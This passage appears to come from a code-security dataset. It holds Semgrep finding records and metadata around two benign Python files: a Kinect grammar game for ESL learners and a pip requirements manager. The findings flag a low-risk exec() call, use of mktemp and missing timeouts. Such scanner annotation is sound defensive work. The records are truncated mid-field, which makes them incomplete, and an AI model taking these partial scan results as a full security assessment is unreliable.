"https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
14
true
[ "CWE-95", "CWE-95", "CWE-95", "CWE-95", "CWE-95", "CWE-95", "CWE-78" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected", "rul...
[ "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "HIGH" ]
[ 33, 34, 45, 46, 47, 48, 68 ]
[ 33, 34, 45, 46, 47, 48, 68 ]
[ 8, 17, 8, 16, 17, 18, 14 ]
[ 29, 47, 29, 45, 47, 49, 58 ]
[ "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection", "A03:2021 - Injection", "A01:2017 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5, 5, 5, 5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
remote.py
/Python/remote.py
lucasosouza/apps
MIT
2024-11-18T22:36:17.231349+00:00
1,533,658,578,000
0116afd310c7e711cb7b676fb76e312d38a9e70c
3
{ "blob_id": "0116afd310c7e711cb7b676fb76e312d38a9e70c", "branch_name": "refs/heads/master", "committer_date": 1533658578000, "content_id": "5ad2573f111d003c1147bcf65e08a93935eca77e", "detected_licenses": [ "MIT" ], "directory_id": "0ccc43475cb4333b948e54277cf26a3f19a46d43", "extension": "py", "filename": "AdverbOrAdjectiveFullScreen.py", "fork_events_count": 3, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 81050038, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12747, "license": "MIT", "license_type": "permissive", "path": "/ESL Game Frameworks/Adverb or Adjective/AdverbOrAdjectiveFullScreen.py", "provenance": "stack-edu-0054.json.gz:587189", "repo_name": "jgerschler/python-kinect", "revision_date": 1533658578000, "revision_id": "041e1dc06b8717f28aac2c68408af9a7db1e305e", "snapshot_id": "a255ad9aadd565b9583fe2fb30c9086f40aee1f0", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/jgerschler/python-kinect/041e1dc06b8717f28aac2c68408af9a7db1e305e/ESL Game Frameworks/Adverb or Adjective/AdverbOrAdjectiveFullScreen.py", "visit_date": "2020-04-05T12:12:54.173922" }
2.96875
stackv2
# for python 3 # You'll need to customize this according to your needs. Proper orientation of # the kinect is vital; if participants are able to maintain their head or wrists # continuously inside the word rects, they will repeatedly trigger the collision # detection from pykinect2 import PyKinectV2 from pykinect2.PyKinectV2 import * from pykinect2 import PyKinectRuntime import pygame import random import os TRACKING_COLOR = pygame.color.Color("green") HIGHLIGHT_COLOR = pygame.color.Color("red") BG_COLOR = pygame.color.Color("white") GAME_TIME = 60# seconds class BodyGameRuntime(object): def __init__(self): pygame.init() pygame.mixer.init() self.beep_sound = pygame.mixer.Sound('audio\\beep.ogg') self.buzz_sound = pygame.mixer.Sound('audio\\buzz.ogg') self._screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN, 32) pygame.display.set_caption("Kinect Game Framework Test") self.finished = False self._clock = pygame.time.Clock() self._kinect = PyKinectRuntime.PyKinectRuntime(PyKinectV2.FrameSourceTypes_Color | PyKinectV2.FrameSourceTypes_Body) self._frame_surface = pygame.Surface((self._kinect.color_frame_desc.Width, self._kinect.color_frame_desc.Height), 0, 32) self._bodies = None self.score = 0 self.vocab_dict = {"People drive ____ these days.":["quickly", "quick"], "She has an ____ dog.":["active", "actively"], "He ____ opens the mail.":["carefully", "careful"], "The man ____ greets his friends.":["cheerfully", "cheerful"], "That is a ____ sofa!":["comfortable", "comfortably"], "The alarm sounds ____.":["continuously", "continuous"], "That woman is ____!":["crazy", "crazily"], "The woman speaks ____.":["delightfully", "delightful"], "Juan is a very ____ carpenter.":["creative", "creatively"], "Wow! That is a ____ storm!":["destructive", "destructively"], "The racecar drove ____ by the school.":["powerfully", "powerful"], "Juana ____ said NO!":["firmly", "firm"], "He ____ opened the door.":["forcefully", "forceful"], "It was a ____ day.":["glorious", "gloriously"], "Maria ____ observed her ex-boyfriend.":["hatefully", "hateful"], "He had a ___ idea.":["hopeful", "hopefully"], "It was an ____ phrase.":["insulting", "insultingly"], "Jenny ____ ate the last cookie.":["intentionally", "intentional"], "He likes ____ music.":["irritating", "irritatingly"], "Careful! That is a ___ dog!":["bad", "badly"], "The man reacted ___ to the good news.":["speedily", "speedy"], "Susana has always been a ____ girl.":["nice", "nicely"], "The boys plunged into the ____ water.":["deep", "deeply"], "The girl ____ saved her cat from the fire.":["bravely", "brave"], "The man ____ drank too much alcohol.":["foolishly", "foolish"], "Mario is ____ and never does his homework.":["lazy", "lazily"], "The teacher is very ____.":["rude", "rudely"], "The girl plays soccer ____.":["perfectly", "perfect"], "It was an ____ crash.":["accidental", "accidentally"], "That is an ____ turtle!.":["angry", "angrily"], "She ____ ate her beans.":["happily", "happy"], "John spoke ____.":["seriously", "serious"], "Firulais is a ____ dog.":["loyal", "loyally"], "Margie yelled ____ into the night.":["blindly", "blind"], "He ran ____ toward me.":["wildly", "wild"], "Pedro is ____!":["innocent", "innocently"], "The gross man winked at her ____.":["sexually", "sexual"], "Concepcion is a ____ girlfriend.":["jealous", "jealously"], "Luis ____ goes to the bar.":["frequently", "frequent"], "We didn't go out because it was raining ____.":["heavily", "heavy"], "Our team lost the game because we played ____.":["badly", "bad"], "We waited ____.":["patiently", "patient"], "Jimmy arrived ____.":["unexpectedly", "unexpected"], "Mike stays fit by playing tennis ____.":["regularly", "regular"], "The driver of the car was ____ injured.":["seriously", "serious"], "The driver of the car had ____ injuries.":["serious", "seriously"], "Ismael looked ____ at Eleazar.":["hungrily", "hungry"], "She is a ____ driver.":["dangerous", "dangerously"]} self._frame_surface.fill((255, 255, 255)) def text_objects(self, text, font): text_surface = font.render(text, True, (0, 0, 0)) return text_surface, text_surface.get_rect() def message_display(self, text, loc_tuple, loc_int): # loc_int: 1 center, 2 top left, 3 bottom left, 4 bottom right, 5 top right text_surf, text_rect = self.text_objects(text, pygame.font.Font(None, 64)) loc_dict = {1:'text_rect.center', 2:'text_rect.topleft', 3:'text_rect.bottomleft', 4:'text_rect.bottomright', 5:'text_rect.topright'} exec(loc_dict[loc_int] + ' = loc_tuple') self._frame_surface.blit(text_surf, text_rect) return text_rect def draw_ind_point(self, joints, jointPoints, color, highlight_color, rect0, rect1, joint0, words, sentence, correct_word): joint0State = joints[joint0].TrackingState; if (joint0State == PyKinectV2.TrackingState_NotTracked or joint0State == PyKinectV2.TrackingState_Inferred): return center = (int(jointPoints[joint0].x), int(jointPoints[joint0].y)) if (rect0.collidepoint(center) and words[0] == correct_word) or (rect1.collidepoint(center) and words[1] == correct_word): self.score += 1 self.beep_sound.play() pygame.time.delay(500) self.new_round() elif rect0.collidepoint(center) or rect1.collidepoint(center): try: pygame.draw.circle(self._frame_surface, highlight_color, center, 20, 0) self.score -= 1 self.buzz_sound.play() pygame.time.delay(500) self.new_round() except: pass else: try: pygame.draw.circle(self._frame_surface, color, center, 20, 0) except: pass def draw_ind_intro_point(self, joints, jointPoints, color, joint0): joint0State = joints[joint0].TrackingState; if (joint0State == PyKinectV2.TrackingState_NotTracked or joint0State == PyKinectV2.TrackingState_Inferred): return center = (int(jointPoints[joint0].x), int(jointPoints[joint0].y)) try: pygame.draw.circle(self._frame_surface, color, center, 20, 0) except: pass def update_intro_screen(self, joints, jointPoints, color): self._frame_surface.fill(BG_COLOR)# blank screen before drawing points self.draw_ind_intro_point(joints, jointPoints, color, PyKinectV2.JointType_Head) self.draw_ind_intro_point(joints, jointPoints, color, PyKinectV2.JointType_WristLeft) # may change PyKinectV2.JointType_WristRight to PyKinectV2.JointType_ElbowRight self.draw_ind_intro_point(joints, jointPoints, color, PyKinectV2.JointType_WristRight) def update_screen(self, joints, jointPoints, color, highlight_color, words, sentence, correct_word, seconds): self._frame_surface.fill(BG_COLOR) self.message_display(sentence, (300, 900), 2) rect0 = self.message_display(words[0], (400, 300), 1) rect1 = self.message_display(words[1], (self._frame_surface.get_width() - 400, 300), 1) self.message_display(str(self.score), (self._frame_surface.get_width() / 2, 800), 1) self.message_display(str(seconds), (self._frame_surface.get_width() - 300, 800), 1) self.draw_ind_point(joints, jointPoints, color, highlight_color, rect0, rect1, PyKinectV2.JointType_Head, words, sentence, correct_word) self.draw_ind_point(joints, jointPoints, color, highlight_color, rect0, rect1, PyKinectV2.JointType_WristRight, words, sentence, correct_word) # may change PyKinectV2.JointType_WristRight to PyKinectV2.JointType_ElbowRight self.draw_ind_point(joints, jointPoints, color, highlight_color, rect0, rect1, PyKinectV2.JointType_WristLeft, words, sentence, correct_word) def end_game(self): self._frame_surface.fill(BG_COLOR) self.message_display("Score: {}".format(self.score), (self._frame_surface.get_width() / 2, self._frame_surface.get_height() / 2), 1) self._screen.blit(self._frame_surface, (0, 0)) pygame.display.update() pygame.time.delay(3000) self.run() def new_round(self): sentence = random.sample(list(self.vocab_dict), 1)[0] words = self.vocab_dict[sentence][:] correct_word = words[0] random.shuffle(words) pygame.time.delay(500) while not self.finished: seconds = int(GAME_TIME - (pygame.time.get_ticks() - self.start_ticks)/1000) for event in pygame.event.get(): if event.type == pygame.QUIT: self.finished = True if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE: self.finished = True if seconds <= 0: self.end_game() if self._kinect.has_new_body_frame(): self._bodies = self._kinect.get_last_body_frame() if self._bodies is not None: for i in range(0, self._kinect.max_body_count): body = self._bodies.bodies[i] if not body.is_tracked: continue joints = body.joints joint_points = self._kinect.body_joints_to_color_space(joints) self.update_screen(joints, joint_points, TRACKING_COLOR, HIGHLIGHT_COLOR, words, sentence, correct_word, seconds) self._screen.blit(self._frame_surface, (0,0)) pygame.display.update() self._clock.tick(60) self.end_game() def run(self): self.score = 0 while not self.finished: if self._kinect.has_new_body_frame(): self._bodies = self._kinect.get_last_body_frame() if self._bodies is not None: for i in range(0, self._kinect.max_body_count): body = self._bodies.bodies[i] if not body.is_tracked: continue joints = body.joints joint_points = self._kinect.body_joints_to_color_space(joints) self.update_intro_screen(joints, joint_points, TRACKING_COLOR) self._screen.blit(self._frame_surface, (0,0)) pygame.display.update() for event in pygame.event.get(): if event.type == pygame.QUIT: self.finished = True if event.type == pygame.KEYUP and event.key == pygame.K_SPACE: self.start_ticks = pygame.time.get_ticks() self.new_round() if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE: self.finished = True self._clock.tick(60) self._kinect.close() pygame.quit() os._exit(0) if __name__ == "__main__": game = BodyGameRuntime() game.run()
256
48.79
140
19
2,891
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_e996982cf65eed31_aa61fed3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 100, "line_end": 100, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmp10dxl77l/e996982cf65eed31.py", "start": {"line": 100, "col": 9, "offset": 6032}, "end": {"line": 100, "col": 49, "offset": 6072}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_e996982cf65eed31_4e064c9b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_tracked\" a function or an attribute? If it is a function, you may have meant body.is_tracked() because body.is_tracked is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 204, "line_end": 204, "column_start": 28, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/e996982cf65eed31.py", "start": {"line": 204, "col": 28, "offset": 10885}, "end": {"line": 204, "col": 43, "offset": 10900}, "extra": {"message": "Is \"is_tracked\" a function or an attribute? If it is a function, you may have meant body.is_tracked() because body.is_tracked is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_e996982cf65eed31_82c144e3", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_tracked\" a function or an attribute? If it is a function, you may have meant body.is_tracked() because body.is_tracked is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 228, "line_end": 228, "column_start": 28, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/e996982cf65eed31.py", "start": {"line": 228, "col": 28, "offset": 11759}, "end": {"line": 228, "col": 43, "offset": 11774}, "extra": {"message": "Is \"is_tracked\" a function or an attribute? If it is a function, you may have meant body.is_tracked() because body.is_tracked is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 100 ]
[ 100 ]
[ 9 ]
[ 49 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
AdverbOrAdjectiveFullScreen.py
/ESL Game Frameworks/Adverb or Adjective/AdverbOrAdjectiveFullScreen.py
jgerschler/python-kinect
MIT
2024-11-18T22:36:17.787395+00:00
1,614,569,059,000
0decb1d52c8b5aa30526b2ef209f1ae601a8ec9f
2
{ "blob_id": "0decb1d52c8b5aa30526b2ef209f1ae601a8ec9f", "branch_name": "refs/heads/master", "committer_date": 1614569059000, "content_id": "620b3449b0eec68665f8a28026f61296ec2a9ead", "detected_licenses": [ "MIT" ], "directory_id": "955c8bdbb341d8e37db5d963928ae9c643a1f6df", "extension": "py", "filename": "__init__.py", "fork_events_count": 0, "gha_created_at": 1578253826000, "gha_event_created_at": 1684803148000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 231967693, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7247, "license": "MIT", "license_type": "permissive", "path": "/pipflow/src/__init__.py", "provenance": "stack-edu-0054.json.gz:587198", "repo_name": "iMerica/pipflow", "revision_date": 1614569059000, "revision_id": "efb801ef927c354b6c141872df34e1e37ff5d96d", "snapshot_id": "e4b9c70af4f657ed59040c5fa06ea9b0c91b483f", "src_encoding": "UTF-8", "star_events_count": 14, "url": "https://raw.githubusercontent.com/iMerica/pipflow/efb801ef927c354b6c141872df34e1e37ff5d96d/pipflow/src/__init__.py", "visit_date": "2023-05-24T23:33:35.201370" }
2.453125
stackv2
import abc from simplejson.errors import JSONDecodeError from tempfile import mktemp from cleo import Command from shutil import copyfileobj import requests from typing import Optional, Union from distutils.version import LooseVersion from collections import OrderedDict from cleo.helpers import Argument from pathlib import Path import subprocess __author__ = 'Michael <imichael@pm.me>' class PipFlowMixin: errors = [] @staticmethod def perform_backup(): original = 'requirements.txt' backup = mktemp() with open(backup, 'w+',) as _out, open(original) as _in: copyfileobj(_in, _out) return original, backup @staticmethod def requirements_as_dict(f: Union[bytes, str]) -> OrderedDict: packages = OrderedDict() with open(f, 'r') as fp: for line in fp: cleaned_line = line.rstrip() if cleaned_line and not cleaned_line.startswith('#'): try: package, version = cleaned_line.split('==') packages[package] = version except (ValueError, TypeError): continue return packages @staticmethod def version_outdated(a, b): try: return LooseVersion(a) < LooseVersion(b) except AttributeError: return False @staticmethod def get_latest_version(package: str) -> Union[str, bool]: try: resp = requests.get(f'https://pypi.org/pypi/{package}/json') return resp.json()['info']['version'] except (requests.exceptions.RequestException, JSONDecodeError, KeyError): return False @staticmethod def sort(packages: OrderedDict) -> OrderedDict: return OrderedDict( sorted(packages.items(), key=lambda item: item[0].lower()) ) @staticmethod def commit_changes(f: Union[bytes, str], packages: OrderedDict) -> None: with open(f, 'w+') as f: for package, version in packages.items(): f.write(f'{package}=={version}\n') @staticmethod def is_compose(): extensions = ['yaml', 'yml'] return any(Path(f'docker-compose.{i}').is_file() for i in extensions) @staticmethod def has_dockerfile(): return Path('Dockerfile').is_file() class BaseCommand(Command, PipFlowMixin): packages: [] original: None backup: None original_packages = None errors = [] @abc.abstractmethod def handle(self): pass def initiate(self): self.original, self.backup = self.perform_backup() self.original_packages = self.requirements_as_dict(self.original) self.packages = self.original_packages def updates_available(self): return not self.original_packages == self.packages def rebuild_docker(self): if self.is_compose(): self.line(f'Rebuilding compose service') command = ["docker-compose", "build"] elif self.has_dockerfile(): self.line('Rebuilding from ./Dockerfile') command = ['docker', 'build', '.'] else: command = [] self.line('No Docker manifests to build from') if command: subprocess.run(command) def report_errors(self): if self.errors: self.line('<error>\nPackages with Errors</error>') self.render_table( ['Package', 'Value'], self.errors ) return 1 return 0 class AddCommand(BaseCommand): name = 'add' help = "Adds a new package to the requirements" arguments = [Argument(name='package')] def handle(self) -> Optional[int]: self.initiate() package = self.argument('package') if package in self.packages: self.line('<error>Package Already exists in Manifest</error>') return 1 version = self.get_latest_version(package) self.packages[package] = version self.line('<info>Package added. Rebuilding in Docker</info>') self.commit_changes(self.original, self.sort(self.packages)) self.rebuild_docker() self.line(f'{package} added') return 0 class RemoveCommand(BaseCommand): name = 'remove' help = "Removes a new package to the requirements" arguments = [Argument(name='package')] def handle(self) -> Optional[int]: self.initiate() package = self.argument('package') try: del self.packages[package] except KeyError: self.line('<error>Package Not Found</error>') return 1 self.commit_changes(self.original, self.sort(self.packages)) self.line(f'{package} removed') return 0 class UpdateCommand(BaseCommand): name = 'upgrade' help = "Upgrades a package to it's latest version" arguments = [Argument(name='package')] def handle(self) -> Optional[int]: self.initiate() package = self.argument('package') original_version = self.packages[package] new_version = self.get_latest_version(package) if self.packages[package] != new_version: self.packages[package] = new_version self.commit_changes(self.original, self.sort(self.packages)) self.line(f'Bumped {package} from {original_version} to {new_version}') else: self.line('<info>Package already current</info>') return 0 class UpgradeAllCommand(BaseCommand): name = 'upgrade-all' help = "Upgrades all packages to their latest version" def handle(self) -> Optional[int]: self.initiate() for package, current_version in self.packages.items(): latest_version = self.get_latest_version(package) if self.version_outdated(current_version, latest_version): self.packages[package] = latest_version if not self.updates_available(): self.line('<info>All Packages Current</info>') return 0 self.commit_changes(self.original, self.sort(self.packages)) self.line(f'Bumped all packages') self.rebuild_docker() self.report_errors() return 0 class ViewAllUpgradesCommand(BaseCommand): name = 'view-all' help = 'View available upgrades for all packages' def handle(self) -> Optional[int]: self.packages = self.requirements_as_dict('requirements.txt') rows = [] for package, current_version in self.packages.items(): latest_version = self.get_latest_version(package) if not latest_version: self.errors.append([package, current_version]) if latest_version and self.version_outdated(current_version, latest_version): rows.append([package, current_version, latest_version]) if rows: self.line('<info>Outdated Packages</info>') self.render_table( ['Package', 'Current', 'Latest'], rows, ) else: self.line('<info>All Packages Current</info>') self.report_errors() return 0
223
31.5
89
20
1,499
python
[{"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-insecure_221d9e80eefe47a4_68e21fbf", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 18, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 23, "col": 18, "offset": 527}, "end": {"line": 23, "col": 26, "offset": 535}, "extra": {"message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_221d9e80eefe47a4_4257186e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 24, "col": 14, "offset": 549}, "end": {"line": 24, "col": 33, "offset": 568}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_221d9e80eefe47a4_5879438d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 43, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 24, "col": 43, "offset": 578}, "end": {"line": 24, "col": 57, "offset": 592}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_221d9e80eefe47a4_2d7070c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 14, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 31, "col": 14, "offset": 800}, "end": {"line": 31, "col": 26, "offset": 812}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_221d9e80eefe47a4_b3c40523", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 20, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/221d9e80eefe47a4.py", "start": {"line": 52, "col": 20, "offset": 1503}, "end": {"line": 52, "col": 73, "offset": 1556}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_221d9e80eefe47a4_da073a2a", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a 